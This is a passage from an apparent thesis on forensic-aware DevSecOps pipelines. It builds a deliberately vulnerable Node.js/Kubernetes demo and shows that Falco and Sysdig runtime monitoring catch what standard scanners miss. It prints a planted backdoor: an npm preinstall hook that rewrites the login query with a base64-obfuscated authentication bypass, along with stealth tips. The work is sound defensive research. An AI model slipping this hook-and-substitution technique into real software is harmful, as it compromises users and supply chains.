achieve stronger performance when pretrained or fine-tuned on security-centric code corpora—for
example, vulnerability patches from GitHub. This mirrors successful patterns in other domains,
such as cybersecurity or medicine, where domain-specific LLMs (e.g., SecureBERT, BioBERT)
outperform their generalist counterparts[88].

Toward a Future of Autonomous Security Agents The intersection of AI and DevSecOps
offers a tangible improvement pathway to semi-autonomous security agents. Such agents could
scan logs continuously, identify anomalies (e.g., through DeepLog or RADON), correlate them with
source-level changes, and recommend or even apply patches based on models such as VulRepair
or TFix. With this improvement, human direct intervention would shift even more to exclusive
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high-level policy definition and governance, with low-level security tasks becoming increasingly
self-governing[87].

However, realizing this vision is not trivial, as it presents many difficulties. The same pa-
per lists 15 open challenges—across data sparsity, explainability, CPS-layer security, and tool
interoperability—and proposes related research directions. Of special concern is explainability as
a central bottleneck: if an AI system flags a vulnerability or generates a patch, can developers
trust and verify its reasoning? Without transparent attribution, AI-driven security risks becoming
another opaque subsystem—ironically undermining the trust it seeks to instill[87].
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State Of The Art

Integrating security into DevOps processes is now an established practice, often under the acronym
DevSecOps. However, academic and industrial attention has mainly focused on preventive and
automated scanning aspects, neglecting the importance of post-mortem analysis and forensic
readiness. This section reviews the main scientific contributions that aim to expand the bound-
aries of pipeline-centric security by integrating investigative capabilities and evidence-gathering
mechanisms. Existing peer-reviewed approaches, experimental frameworks and benchmarks will
be reviewed, evaluating their advantages, limitations and differences from the proposal of this
thesis.

3.1 DevSecOps: overview of scientific research

The scholarly literature in recent years has produced numerous contributions on DevSecOps, often
focusing on security automation, the use of SAST/DAST tools, and dependency control. However,
few papers consider the entire lifecycle of an attack, including the response and investigation phase.
Among the major contributions:

• S. Gordon, et al. (2020): They propose a dynamic policy-based DevSecOps model, in
which scanning and monitoring tools are orchestrated by a centralized platform. However,
the work does not include the collection of investigative logs or persistent traces[89].

• R. Ramos et al. (2025): They analyze supply-chain threats within CI/CD pipelines,
highlighting how the DevOps cycle offers new attack surfaces. Their proposal includes job
segmentation and dependency testing, but lacks an analysis of forensic tracking or incident
response[90].

• A. Fawzy et al. (2022): They introduce the notion of CI/CD anomaly detection, using
machine learning to detect anomalous patterns in pipeline jobs. The approach is effective
for detection but does not include tools for evidence preservation or attribution[91].

An important empirical study is that of the already cited paper of R. Ramos et al., which system-
atically analyzes 27 recurrent vulnerabilities throughout the DevOps lifecycle, extracting quan-
titative data on which stages are most frequently targeted, with which techniques, and which
defensive mechanisms are most effective or lacking. The study shows that attacks are predomi-
nantly concentrated at the build (38%) and deployment (29%) stages, exploiting vulnerabilities
in custom scripts, compromised dependencies, and misconfigurations[90].

A particularly useful contribution of the study is the categorization of evasion techniques, or ways
in which attackers conceal their presence. These include:

• the obfuscation of payloads in YAML configuration files[90].
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• the use of legitimate containers as exfiltration proxies[90].

• the modification of local logs to remove traces[90].

The authors note that commonly implemented countermeasures (e.g., SAST scans, image
scanning) do not detect more than 60% of documented attacks, due to the lack of visibility and
contextualization of events.

This evidence provides concrete motivation for the need for forensic-aware approaches: only
with advanced logging, correlation, and semantic enrichment mechanisms can sophisticated eva-
sion techniques be countered and the persistence of digital evidence ensured. The present work
fits exactly in this direction, proposing a pipeline that can improve visibility at the most exposed
stages, identify anomalous patterns, and produce robust and verifiable traces.

3.2 Forensics proposals in the DevOps pipeline

The first relevant contribution toward integrating forensic techniques into DevOps is provided
by a paper of F. Gunawan et al. (2020), which proposes a forensic-ready logging architecture in
CI/CD pipelines. The model introduces components for normalizing, signing, and archiving logs,
with the goal of ensuring the digital chain of custody. However, the system does not incorporate
proactive alerting mechanisms or external intelligence tools[74].

A second key work is SecLaaS: Secure Logging-as-a-Service for Cloud Forensics (S.
Zawoad et al., 2013), which proposes a serverless infrastructure for forensic logging in con-
tainerized environments. The proposal, although of an old conception, is still relevant and it is
highly scalable but is limited to system-level log collection, with no true semantic correlation with
pipeline events or source code[92].

A particularly innovative contribution is that of P. Sharma et al. (2021) [93], who propose
a scalable framework for forensic monitoring and stability assessment of microservices based on
variational autoencoders (VAEs). The approach combines machine learning techniques and Ku-
bernetes orchestration to automatically generate, collect, and analyze runtime traces. The so-
lution is attractive because it integrates intelligent logging and behavioral detection, reducing
operational overhead compared to traditional monitoring systems.

In detail, each microservice is enriched with a sidecar component that collects distributed
metrics and traces (latency, syscall patterns, errors). These signals are analyzed in real time by
VAE models that learn the normal behavior of the system. Detected anomalies can be mapped
to investigable events, and archived for later forensic analysis[93]. The paper presents three main
contributions:

• Introduction of a non-intrusive and scalable data collection pipeline.

• Use of deep learning models to identify complex behavioral deviations.

• Quantitative evaluation of the approach on real environments with measurable benefits in
terms of detection rate and overhead.

Compared with other solutions, this approach represents an effective convergence of advanced
observability and forensic readiness, enabling both early detection and contextualized preservation
of anomalous events.

3.3 Comparisons and benchmarks between approaches

The absence of standardized benchmarks for forensic DevSecOps pipelines is an obvious limitation
in the literature. However, some recent work attempts comparative assessments:
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• Y. Ramaswamy proposed to use a synthetic dataset and fault-injection simulations, the
author found that integrating forensic tools improves detection capability and response speed
by approximately 35-40%, at the cost of an 18% increase in total pipeline execution time.

• OpenSSF SLSA framework (2023) provides guidelines for supply chain security, with
levels of attestation and verifiability. However, it is not a forensic system, and is limited to
integrity and provenance checks[94].

• Garcia et al. (2022) propose a quantitative assessment of standard DevSecOps pipeline
logging coverage and show that less than 45% of significant events are actually tracked in
the logs, making post-event reconstruction difficult[89].

Such evidence supports the hypothesis that a proactive and structured logging strategy is
needed that can provide reliable, verifiable, and contextualized evidence.

A key contribution that fills the lack of standardized benchmarks in forensic pipelines is offered
by M. Saleh et al. (2023) [95]. The authors propose a forensic-enabled DevSecOps framework
experimentally validated on CI/CD pipelines in containerized environments. The unique feature
of the approach is the use of the CSE-CIC-IDS2018 dataset, a widely recognized corpus for
evaluating intrusion detection and response capabilities in simulated network environments.

The results show that a forensic-aware architecture can significantly improve detection, without
introducing excessive overhead on the pipeline. In addition, the dataset used allows reproducible
comparisons with other work, providing a benchmark for future systematic evaluations. Thus,
this approach provides an empirical basis to motivate and justify forensic integrations within De-
vSecOps pipelines.Collection and signing of logs at the container level; integration with detection
tools such as Suricata; orchestration via Jenkins and Docker to simulate attacks along the CI/CD
cycle; evaluation of accuracy, recall, and false-positive rate[95].

3.4 Summary and rationale of the contribution

The literature review shows that while there are interesting proposals for forensic logging or
runtime analysis, none of them proposes a unified architecture that integrates intelligence, runtime
detection, semantic enrichment of logs, and automatic correlation between source code and alerts.

The present contribution fits right into this space: a DevSecOps pipeline that can extend
the shift-left vision by also including post-right capabilities, i.e., investigation, attribution, and
informed response. The proposal not only demonstrates the technical feasibility of such inte-
gration, but also provides experimental validation of it through the simulation of a real-world
scenario (e.g., CVE-2024-3094). It is thus proposed as a starting point for future standardization
of forensic pipelines in the DevSecOps context.
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Chapter 4

Implementation of a forensic
aware DevSecOps pipeline

The following chapter provides the description and a comprehensive analysis of a prototype of a
web application and its capabilities, along with the architecture of a DevSecOps pipeline. The
focus will be on how even a simple backdoor introduced through code substitution at compilation
time is not detected by traditional DevSecOps tools, while proposed threat intelligence and forensic
analysis tools are able to detect this issue. The implementation showcases a real-world scenario
where seemingly benign dependencies can introduce critical vulnerabilities into production systems
by exploiting supply chain attacks or internal malicious actors, underscoring the importance of—
often underestimated—forensic analysis security measures in automatic tools. The full structure
of the built architecture is the following is depicted in the figure 4.1.

The core requirements of this implementation are primarily the detection of advanced threats
by identifying runtime code injection and supply chain attacks (malicious preinstall scripts in de-
pendencies) that evade static analysis and the detection of IoCs like hardcoded malicious domains
(DarkComet RAT references). Such detection is achieved through the integration of reactive foren-
sic tools, which are able to bridge the gap between proactive DevSecOps (SAST/SCA/DAST)
and reactive digital forensics (log analysis, runtime monitoring). The result obtained with this
approach is an improved pipeline resilience, preventing attacks such as pipeline poisoning (CVE-
2025-30066) and insider threats through runtime integrity checks.
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Figure 4.1. Scheme of the full structure
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4.1 Project Architecture and Components

The application developed in this thesis consists of a JavaScript microservice deployed in K8s,
which provides a simple website with basic functionalities. As the main focus is the security
pipeline, the project spans multiple areas of interest, such as malicious dependency definition,
static and dynamic code vulnerabilities, and bad configuration files. As it is a microservice, all
deployments and tests were done through the help of Minikube, which is essentially a local K8s
environment.

Deployment Description The YAML file defines an object of Deployment type, having the
API version apps/v1. The primary objective of this configuration-as-code file is to orchestrate the
creation, the update, and the management of the defined pods that execute the microservizio-js
container. More specifically, it is possible to define the following parameters:

• Replicas: The field replicas: 1 specifies that only 1 pod has to be executed; this is for
simplicity’s sake.

• Selector: This field uses the label app: microservizio-js to identify the managed pods.

• Template: The field template defines the pod configuration, including metadata and
container configurations.

Container Configuration Inside each pod, there is defined a single container with the follow-
ing properties:

• Name: microservizio-js

• Image: The utilized Docker image is microservizio-js:v1. The directive imagePullPolicy:
Never indicates that the image does not have to be searched on an external registry, as it
is defined locally.

• Exposed port: the container will expose the port 3000. While the website will be reached
through the HTTP protocol (usually port 80), Minikube, if not run as root, does not allow
you to choose well-known ports (0-1023). As the chosen port is not relevant in this project,
port 3000 was picked just for simplicity reasons.

The Dockerfile is the following:

FROM node:22
WORKDIR /usr/src/app
COPY package*.json ./
COPY . .
RUN npm install
EXPOSE 3000
CMD ["sh", "-c", "node server.js"]

This simple Dockerfile defines the Node.js application, using the official node:22 image as a base
layer. It sets the working directory as the /usr/src/app directory, copying the package.json
and package-lock.json files, along with all other files of the project’s folder. Next, the project’s
dependencies are installed through the npm install command execution. Finally, the container
exposes port 3000, and with the start command (CMD), it executes the server.js script via
shell (sh -c).
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Critical security aspects As briefly mentioned before, the Dockerfile and the Deployment
YAML file will be the main focus of the IaC scan step, more specifically of Trivy. The vulnerable
architectural choices of this application are the following:

1. Execution as Root:

runAsUser: 0

With this directive, the container is run with UID 0, which means root. This is deeply
flawed and will be flagged with severity HIGH, as it allows for container escape situation,
meaning an attacker that is able to exploit the container, could attack the host system as
well.

2. Writable File System:

...
capabilities:

add: ["ALL"]
...

The root file system is not read-only, as it is missing the readOnlyRootFilesystem directive
defined to true. An immutable root file system prevents applications from writing to their
local disk. This can limit intrusions, as attackers will not be able to tamper with the file
system or write foreign executables to disk. This security issue will be correctly flagged with
severity "HIGH" by Trivy.

Missing Resource Limits The Deployment file does not explicitly define the resources sec-
tion, which is essential to specify the maximum usage of physical resources obtainable by each
pod (computing power and main memory). By not defining the limits, a pod could exhaust the
resources of the entire cluster, compromising the overall stability. A possible configuration would
be the following:

resources:
requests:

memory: "128Mi"
cpu: "250m"

limits:
memory: "256Mi"
cpu: "500m"

This misconfiguration will be flagged as Memory Not Limited and CPU Not Limited by Trivy.

Web Application Implementation The application logic is entirely defined in the server.js
file, which provides an Express-based web server that exposes several endpoints and simple func-
tionalities:

1. A simple login system connected to an in-memory SQLite database. Two users are defined
on application startup.

2. Endpoints that provide demonstration of Cross-Site Scripting (XSS) vulnerability through
unsanitized input reflection and Code injection vulnerability through the use of eval() on
user input

3. Hardcoded Indicators of Attack references to malicious domains associated with Dark-
Comet RAT (Remote Access Trojan). These domains will not be detected in the traditional
pipeline.
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Dependency Management The project defines its dependency structure through the pack-
age.json, requiring the essential dependencies, such as express, express-session and sqlite3.
Additionally, for demonstration purposes, a vulnerable version of lodash is introduced. This de-
pendency will be flagged as vulnerable, as it contains a security HIGH and a security MEDIUM
vulnerability. The package.json is the following:

"dependencies": {
"@my/dependency": "file:./harmless",
"express": "^5.1.0",
"express-session": "^1.18.1",
"sqlite3": "^5.1.7",
"lodash": "4.17.20"

}

Furthermore, a seemingly innocuous local dependency is introduced. This dependency appears
normal at first glance but contains the entry point for the backdoor mechanism. The local
dependency @my/dependency points to a directory in the same folder of the package.json named
harmless—which is not harmless at all—creating a false sense of security through misdirection.
With the expected behavior, the npm install command will copy the contents of the harmless
folder inside the node_modules folder and execute any preinstall or postinstall command, thus
executing the compile.js malicious script.

Backdoor Implementation Through Code Substitution The focus of this project is the
backdoor implementation, which demonstrates an Advanced Persistent Threat (APT) technique
through dependency-based code substitution. This approach is particularly insidious because it
occurs during the installation process and modifies application code before execution, maintaining
the normal behavior of the application when not actively triggered. The backdoor is injected
through a multi-stage process:

1. Initial Trigger: The seemingly harmless dependency @my/dependency includes a preinstall
script in its package.json:

"scripts": {
"preinstall": "node compile.js"

}

This script automatically executes whenever the dependency is installed, whether during
initial project setup or dependency updates. The preinstall hook is a legitimate npm
feature, and as it is not something that is usually deemed insecure, traditional security
tools do not detect it as suspicious or malicious, meaning that attackers can abuse its
functionalities to execute malicious code during the installation process.

2. Code Substitution Logic: The compile.js script contains the actual backdoor imple-
mentation:

if (content.includes(targetQuery)) {
const regex = new RegExp(

‘(["’\‘])${escapeRegExp(targetQuery)}\\1‘, ’g’
);

content = content.replace(regex, modifiedQuery);
fs.writeFileSync(filePath, content, "utf8");

}

This function searches for the application’s server.js file by traversing the directory struc-
ture. Once found, the script reads the file’s content and substitutes the login query with
the malicious code.
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3. Authentication Bypass Implementation: The script replaces a parameterized SQL
query—which is a security standard as it prevents SQL injection attacks—with a string,
defined as follows:

const targetQuery = "SELECT * FROM users WHERE username = ?
AND password = ?";

const modifiedQuery = "new Function(’u’, ’p’, Buffer.from(’
cmV0dXJuIHUgPT09ICdiYWNrZG9vcicgPyAiU0
VMRUNUICogRlJPTSB1c2VycyBXSEVSRSB1c2Vy
bmFtZSA9ICdyb290JyBPUiAoMSA9IDAgQU5EIH
VzZXJuYW1lID0gPyBBTkQgcGFzc3dvcmQgPSA/
KSIgOiAiU0VMRUNUICogRlJPTSB1c2VycyBXSE
VSRSB1c2VybmFtZSA9ID8gQU5EIHBhc3N3b3Jk
ID0gPyI7’, ’base64’) \
.toString())(username)";

The base64-encoded string, when decoded, reveals a conditional statement that allows au-
thentication bypass when the username “backdoor" is used. The decoded payload is the
following:

return u === ’backdoor’ ? \
"SELECT * \
FROM users \
WHERE username = ’root’ OR \
(1 = 0 AND username = ? AND password = ?)" : \
"SELECT * FROM users WHERE username = ? AND password = ?";

This creates a hidden root access path without knowing or modifying the root’s password,
while maintaining the appearance of normal authentication behavior for regular users. With
this substitution, the parameterized query becomes a dynamic function that returns a string,
and as it is called immediately, its behavior is essentially that of a runtime-defined string.

Backdoor Characteristics and Strengths This backdoor implementation showcases several
sophisticated techniques:

• Obfuscation through Base64: The malicious code is encoded in Base64 to avoid detection
by simple string matching or SAST tools. In a real-world example, this code could have been
encoded two or three times to improve its obfuscation or encrypted entirely to guarantee
stealth against more sophisticated SAST tools.

• Dynamic Code Generation: The use of new Function() creates dynamically generated
code at runtime, which can evade static analysis tools.

• Conditional Logic: The backdoor only activates for specific input (backdoor username),
maintaining normal application behavior in all other circumstances.

• File System Traversal: The recursive file search demonstrates how this malicious code
can locate and modify specific files regardless of project structure, or even more dangerously,
access any resource on the current file system.

The backdoor’s implementation is particularly concerning because the modified code becomes part
of the application itself, making it difficult to distinguish from legitimate code once the installation
process is complete. DevSecOps tools usually create an ephemeral environment to compile and
scan the code, which means that, unless the pipeline commits the code to the repository, it will
not persist the changes through the development environment. Of course, as this is just a simple
example, a developer that is testing the code and executes manually an npm install command
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will inject the vulnerability locally, thus greatly risking being detected, as it is permanent. In
a real-world scenario, the compile.js could detect the environment variables before executing,
searching for container-typical variables, meaning it is being compiled during publish time, or
otherwise die immediately. Furthermore, traditional file integrity monitoring systems would not
flag this behavior as suspicious unless they were actively monitoring the installation process.

Comparison to a Real-World Supply Chain Attack This project deliberately emulates
techniques observed in real-world supply chain attacks, sharing significant similarities with inci-
dents like the XZ Utils backdoor (CVE-2024-3094). The official RedHat website explains that
“through a series of complex obfuscations, the liblzma build process extracts a prebuilt object
file from a disguised test file existing in the source code, which is then used to modify specific
functions in the liblzma code. This results in a modified liblzma library that can be used by
any software linked against this library, intercepting and modifying the data interaction with this
library"[96], ranking it as a 10 in the CVSS v3 assessment. The backdoor was discovered in March
2024, and demonstrated how attackers can compromise widely-used utilities to create far-reaching
security incidents. Like this project’s implementation, the XZ backdoor:

• Modified critical system components during the build process

• Targeted specific conditions for backdoor activation

• Bypassed authentication mechanisms (SSH in the case of XZ)

• Remained undetected for a significant period (33 days for XZ)

In this case, the attackers leveraged both the human and implicit trust in software supply chains
to distribute malicious code. The XZ backdoor was particularly sophisticated as it manipulated
symbol resolution processes at runtime, similar in behavior—although not as complex—to how
this project modifies the SQL query. This attack proves that an attack was introduced by a file
dependency in the package.json is not an unreasonable assumption and could be a potential attack
vector in a real-world attack.
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4.2 Traditional Pipeline Structure

The security pipeline is designed as a sequence of specialized workflows running simultaneously,
orchestrated by a main YAML workflow file. This pipeline, described in the main.yaml configura-
tion file, follows an atomic design where isolated security tools work independently. Each step will
work on its tasks and ephemeral environment, publishing the results as the workflow ends. The
pipeline is based on GitHub’s repository dispatch event and can be run on demand by navigating
to the actions tab. In a real-world scenario, this pipeline should be configured to be run on pull
requests and merge requests so as to block the introduction of malicious code. The architecture
consists of five different steps: Software Composition Analysis with Snyk, Static Application Se-
curity Testing using Semgrep, Dynamic Application Security Testing employing OWASP ZAP,
Infrastructure as Code scanning with Trivy, and ultimately, the container image publish process.
This kind of parallel execution allows for independent tasks while maintaining a high degree of
efficiency, as the total execution time of the pipeline will be the sum of its longest step (DAST
usually) plus the publication step.

Each tool, at the end of its execution, will publish its findings back to GitHub’s Security
dashboard through the standardized SARIF (Static Analysis Results Interchange Format) report-
ing mechanism. The reason is to provide a unified reporting approach that enables centralized
vulnerability management, regardless of the specific security tool employed. The pipeline archi-
tecture incorporates timeout handling and status checking via a user-provided event, namely the
dispatch-and-wait action. This will guarantee the correct execution of the pipeline, ensuring
that each security stage completes successfully before proceeding to the publish operation. If a
tool hangs indefinitely or does not complete its execution correctly, the pipeline will fail, and the
publish operation will not be executed.

Snyk Action The Snyk integration represents the Software Composition Analysis (SCA) com-
ponent of this security pipeline, and it is designed specifically to detect vulnerabilities within the
application’s package.json. This workflow is triggered via a repository dispatch event with the
type identifier “sca-snyk", as defined as follows:

on:
repository_dispatch:

types: [sca-snyk]

Next, the permissions are defined. Since the workflow will upload a file to the repository’s security
tab, the directive security-events is set to true.

The workflow—defined in the directive jobs—executes within the ubuntu-latest runner envi-
ronment and begins by retrieving the application codebase through the actions/checkout@v4
action. Following code checkout, the workflow sets up a Node.js runtime environment in order to
allow for dependency resolution. This step will allow for the correct execution of Snyk, which will
utilize the package-lock.json to identify the exact version of direct and transitive dependencies
utilized by the project.

Lastly, the snyk/actions/node action is executed, which will run the Snyk scan. This action
requires authentication through a SNYK_TOKEN environment variable, which is configured as
a repository secret. The scanning process is configured to generate output in the SARIF format
through the –sarif-file-output=snyk.sarif parameter. The security gate of this action is configured
with the following parameter:

continue-on-error: true

If set to false, the flow will fail when Snyk finds a vulnerability with severity HIGH or CRITICAL.
Upon completion of the scanning process, the workflow uploads the SARIF file to GitHub’s
Security dashboard via the github/codeql-action/upload-sarif action. Snyk’s findings will
appear directly within GitHub’s security tab, providing developers with immediate visibility into
dependency vulnerabilities without requiring access to the external Snyk dashboard.
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Semgrep Action The Semgrep workflow comprises the Static Application Security Testing
(SAST) step of the security pipeline. The primary objective of this step is to exploit Semgrep’s
rule-matching functionalities to extract vulnerabilities from the static Javascript code. The work-
flow does not present much difference from the Snyk one, as it creates the ephemeral environment
with the ubuntu-latest, checks out the code, performs the scan, outputs in SARIF format, and
uploads it on the security tab of GitHub. The complete workflow is the following:

name: SAST with Semgrep

on:
repository_dispatch:

types: [sast-semgrep]

permissions:
security-events: write

jobs:
semgrep:

runs-on: ubuntu-latest
container:

image: returntocorp/semgrep
steps:

- uses: actions/checkout@v4

- name: Run Semgrep SAST
run: |

semgrep scan --config=p/owasp-top-ten \
--config=p/javascript \
--output=semgrep.sarif \
--sarif

- name: Upload SARIF to GitHub
uses: github/codeql-action/upload-sarif@v3
with:

sarif_file: semgrep.sarif

It is worth to note that Semgrep is instructed to use the OWASP Top 10 rules, as the code
scanned represents a web application. Additionally, Javascript rules are specified.

OWASP ZAP Action The OWASP ZAP workflow constitutes the Dynamic Application Secu-
rity Testing (DAST) step of the security pipeline, and it is able to identify security vulnerabilities
in the application during its execution and by simulating real—yet automated—external attack
scenarios. This workflow is triggered through a repository dispatch event with the same technique
as Snyk and Semgrep. As OWASP ZAP does not support SARIF output, its results are published
in the form of a GitHub issue, thus requiring the following additional permission:

permissions:
contents: write
issues: write

The key point is that a DAST scan requires the application to be fully deployed and working. For
this reason, in real-world scenarios, often DAST is excluded from the pipeline, and DAST scans are
performed manually on test and pre-production environments. This has the serious disadvantage
of requiring the exclusion—or sometimes the complete shutdown—of the Web Application Firewall
(WAF), so the DAST activity is not blocked by it. Instead, in this example, a different approach
is followed: an isolated testing environment is created with Minikube, where the application is
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completely deployed. In the first phase, the workflow retrieves the application code and proceeds
to establish a Minikube environment with specific configuration parameters, including the Docker
driver, bridge CNI networking, and allocated computational resources in the following way:

- name: Start Minikube
uses: medyagh/setup-minikube@latest
with:

driver: docker
cni: bridge
container-runtime: docker
cpus: 2
memory: 4096m
start-args: ’--wait=apiserver’

After establishing the Kubernetes environment, the workflow builds a Docker image directly within
the Minikube context. This approach ensures that the testing occurs against the exact version
of the application that would be deployed, including any recent changes that might not yet be
available in published images. The built image is tagged as "microservizio-js:v1" and subsequently
deployed to the Kubernetes cluster using a predefined deployment configuration:

- name: Build Docker image in Minikube
run: |

eval $(minikube -p minikube docker-env)
docker build -t microservizio-js:v1 .
docker images

- name: Deploy to Minikube
run: |

kubectl apply -f microservizio-js-deployment.yaml
kubectl rollout status deployment/microservizio-js --timeout=120s

To enable connectivity with the application, the workflow establishes port forwarding from the
Kubernetes service to the local environment (mapping port 3000) and implements health-checking
logic to verify that the application is accessible before initiating security scanning; otherwise, an
empty issue is created, generating a false sense of absence of vulnerabilities. The workflow follows
with the deployment validation through the kubectl rollout status command with a timeout
parameter. Once this step is finished, the application is guaranteed to be up and running.

The actual security scanning step is performed using the zaproxy/action-full-scan action,
which executes the OWASP ZAP scanning engine against the deployed application. The scanning
configuration utilizes the stable version of ZAP from the GitHub Container Registry and targets
the locally forwarded application endpoint. The scan is executed with the aggressive (’-a’) option
to perform comprehensive testing across all identified endpoints. This aggressive scan is able
to provide better visibility on an application’s actual vulnerabilities, an option that is often
impossible to use in test or production environments, as it would trigger many security alerts on
the company network. The step is the following:

- name: ZAP Full Scan
uses: zaproxy/action-full-scan@v0.12.0
with:

token: ${{ secrets.GITHUB_TOKEN }}
docker_name: ’ghcr.io/zaproxy/zaproxy:stable’
target: ’http://localhost:3000’
cmd_options: ’-a’

Upon completion of the scanning process, regardless of the outcome, the workflow implements a
cleanup phase that removes all deployed resources from the Kubernetes cluster.
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Trivy Action The Trivy workflow constitutes the Infrastructure as Code (IaC) scanning com-
ponent of the security pipeline, specifically designed to identify security vulnerabilities and mis-
configurations in container images and Kubernetes manifests. This workflow—again the same
technique of the previous steps—is triggered via a repository dispatch event with the type identi-
fier "iac-trivy". The workflow uses Aqua Security’s Trivy scanner: after the setup of the ubuntu-
latest runner, the code is checked out, providing access to both the Dockerfile and the Deployment
file.

The workflow implements a dual-scanning approach, targeting different aspects of the infras-
tructure definition. The first scanning phase focuses on Dockerfile analysis, using the aquasecurity
trivy-action with the filesystem fs scan type. This analysis examines the Dockerfile and associated
context for potential security issues, including vulnerable base images, insecure configurations, and
problematic commands that could introduce security risks. The scan is configured to focus ex-
clusively on HIGH and CRITICAL severity issues to enable prioritization of the most significant
security concerns. Once the scan is finished, results are uploaded in SARIF format. The code is
the following:

- name: Trivy scan Dockerfile
uses: aquasecurity/trivy-action@master
with:

scan-type: ’fs’
scan-ref: ’.’
format: ’sarif’
output: ’trivy-docker.sarif’
severity: ’CRITICAL,HIGH’

- name: Upload Dockerfile SARIF to GitHub
uses: github/codeql-action/upload-sarif@v3
with:

sarif_file: trivy-docker.sarif
category: dockerfile

The second scanning phase targets Kubernetes manifests, employing the same Trivy action but
with the configuration config scan type. This analysis examines specifically the Deployment file
for security misconfigurations, excessive permissions, exposed secrets, and other infrastructure-
related security issues. Similar to the Dockerfile scan, this phase also focuses on HIGH and
CRITICAL severity findings to prioritize remediation efforts effectively and uploads the related
findings in SARIF format. The code is the following:

- name: Trivy scan Kubernetes manifests
uses: aquasecurity/trivy-action@master
with:

scan-type: ’config’
scan-ref: ’.’
format: ’sarif’
output: ’trivy-k8s.sarif’
severity: ’CRITICAL,HIGH’

- name: Upload Kubernetes SARIF to GitHub
uses: github/codeql-action/upload-sarif@v3
with:

sarif_file: trivy-k8s.sarif
category: kubernetes

Publish Step The image publication workflow represents the final stage of the security pipeline,
responsible for building and distributing the containerized application after the successful comple-
tion of all security verification processes. The permissions required by this step are the following:
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permissions:
packages: write
contents: read

The workflow begins by retrieving the application codebase through the usual actions/checkout-
@v4 action. The application image is published in the GitHub Container Registry via the
docker/login-action@v3. This authentication process utilizes the GitHub actor’s identity and
a securely stored Docker registry token—which in this case is memorized in the repository secrets
as a Personal Access Token (PAT). The code is the following:

- name: Log in to GitHub Container Registry
uses: docker/login-action@v3
with:

registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.DOCKER_REGISTRY_TOKEN }}

To publish the image, it has to be created first. The next step of the workflow consists in
the construction and publication of a Docker image through standard Docker commands, with
the image being tagged according to a standardized naming convention that incorporates the
lowercase repository owner name followed by the application identifier. Following successful image
construction, the workflow executes the publication process, pushing the newly created image to
the GitHub Container Registry (ghcr.io), where it becomes available for deployment across various
environments. This behavior is defined as follows:

- name: Build and Push Docker image
run: |

OWNER=$(echo ${{ github.repository_owner }} | tr ’[:upper:]’ ’[:lower:]’)
docker build -t ghcr.io/${OWNER}/vulnerable-app:latest .
docker push ghcr.io/${OWNER}/vulnerable-app:latest

4.3 Forensic Aware DevSecOps Pipeline

The security pipeline architecture described in the previous sections, although able to detect to
a great length many vulnerabilities, fails completely to identify the code substitution and the
backdoor injection. This is a limitation of the set of rules and detection techniques used by
the employed scanning tools. Static Application Security Testing (SAST) tools such as Semgrep
commonly focus on pattern-matching with known vulnerability signatures in static source code
and fail to detect vulnerabilities that are activated during runtime. Even if Semgrep found the
Base64-encoded string and tried to decode it, it would have found a perfectly secure parameterized
query, i.e., it would not generate any alarm. The DAST step, using OWASP ZAP, could, in
theory, find some injection vulnerabilities; this is only effective when input vectors and payload
combinations are properly custom-tailored for specific and to-be-expected cases (such as trying
the "backdoor" username), something which is not always ensured in automatic scans (such as
default OWASP ZAP settings). The infrastructure-focused tools (Trivy) and dependency scanners
(Snyk) operate at different abstraction layers, unrelated to application logic vulnerabilities. The
result of this pipeline is that the published image contains a stealthy and permanent backdoor,
something that the attacker is able to exploit extremely easily. To defend against this kind of
attack, it is necessary to expect an attack from an internal actor and treat the entire pipeline
as a possible attack vector. Forensic analysis needs to be performed on the entire workflow, and
threat intelligence tools need to be employed.

Runtime System Call Monitoring with Falco and Sysdig In the previous steps, it has
been proven that a code injection attack during compilation time is not detected by traditional
DevSecOps tools and techniques. It is introduced during compilation time, and the only security
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step that compiles the code before performing its analysis is the SCA step, which operates on a
completely different layer and does not detect any anomalies. The backdoor, thus, is truly injected
only when the results of the compilation are permanent and published, rendering the last step
of the pipeline a crucial point that deserves a special kind of attention. The solution proposed
in this thesis aims to solve not only this specific case study but also to be as flexible as possible
to detect a wide range of attacks. This is implemented through the falco.yaml workflow, which
implements a complete runtime monitoring system using Falco and Sysdig to detect suspicious
activities during container image building and publishing, analyzing system calls with the eBPF
module. This represents a crucial layer of defense for identifying suspicious activity that might
occur during compilation or build processes. The official website of Sysdig offers a proof of concept
of how Sysdig and Falco, used in combination and configured with a proper Falco rule, would have
detected the CVE-2024-3094 runtime, proving extremely effective[97]. For this reason, both tools
are utilized in the publish step of the pipeline, focusing primarily on the following two commands:

docker build -t ghcr.io/${OWNER}/vulnerable-app:latest .
docker push ghcr.io/${OWNER}/vulnerable-app:latest

To monitor the build and push of the image, Falco is first deployed in a privileged container with
access to the host’s Docker socket, process information, and file system, including the application
code:

docker run --rm -d \
--name falco \
--privileged \
-v /tmp:/tmp \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /proc:/host/proc:ro \
-v /etc:/host/etc:ro \
-v ${{ github.workspace }}:/javascript:rw \
-v ${{ github.workspace }}/falco_rules/custom_rules.yaml: \

/etc/falco/rules.d/custom_rules.yaml \
falcosecurity/falco:latest falco \

-o "json_output=true" \
-o "file_output.enabled=true" \
-o "file_output.keep_alive=false" \
-o "file_output.filename=/tmp/falco_events.json" \
-o "engine.kind=modern_ebpf" -o base_syscalls.all=true

This configuration enables Falco to use the modern eBPF approach, which provides the modern
method of monitoring system calls, and it is able to monitor everything that happens, even at
the kernel level, during the entire process. Since the eBPF technology allows Falco to hook into
system calls without requiring kernel module insertion, it can be deployed even on a GitHub
runner container. Similarly, Sysdig is deployed alongside Falco, using the same methodology:

docker run --rm -d --name sysdig --privileged \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /dev:/host/dev -v /proc:/host/proc:ro \
-v /boot:/host/boot:ro \
-v /lib/modules:/host/lib/modules:ro \
-v /usr:/host/usr:ro \
-v /tmp:/tmp \
-v ${{ github.workspace }}:/javascript:rw \
--net=host sysdig/sysdig:latest sysdig --modern-bpf \

-w /tmp/capture.scap \
--snaplen=256 "not evt.type in (switch)"
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This setup enables the creation of a detailed audit trail of the building process, which then can
be used for forensic analysis. Rules employed by Falco are put into the falco_rules/ folder and
are mounted during Falco’s startup phase. The range of detection of Falco is decided primarily
in this step: the more custom rules are defined in this folder, the wider the amount of events
Falco can detect. For this specific case, only one rule is defined, but more can be easily defined by
adding valid rules to the existing custom_rulesẏaml file. There, the custom Falco rule specifically
targets write operations to JavaScript files, as defined as follows:

- rule: JS Sandbox Container Write
desc: >

Detect any write-open to files inside a folder within a container.
condition: >

open_write and
container.id != host and
fd.name contains "server.js"

output: >
